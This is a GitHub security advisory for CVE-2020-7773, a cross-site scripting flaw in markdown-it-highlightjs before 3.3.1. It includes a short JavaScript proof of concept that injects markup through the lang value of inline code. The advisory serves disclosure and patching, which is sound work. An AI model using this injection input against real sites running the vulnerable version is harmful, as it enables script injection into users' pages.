GitHub Advisoryadvisory · npm
GHSA-f246-xrrj-g8j6 Cross-site Scripting in markdown-it-highlightjs
MEDIUM
Official page ↗
- Aliases
- CVE-2020-7773
- Ecosystem
- npm
- Packages
- markdown-it-highlightjs
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Weaknesses
- CWE-79
- Reviewed
- 2021-04-15
Affected packages
• npm markdown-it-highlightjs: < 3.3.1 → fixed in 3.3.1
Description
This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature.
```js
const markdownItHighlightjs = require("markdown-it-highlightjs");
const md = require('markdown-it');
const reuslt_xss = md().use(markdownItHighlightjs, { inline: true }).render('console.log(42){.">js}');
console.log(reuslt_xss);
```
Related
Alias · CVE (1)
- CVE-2020-7773 This affects the package markdown-it-highlightjs before 3.3.1. vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness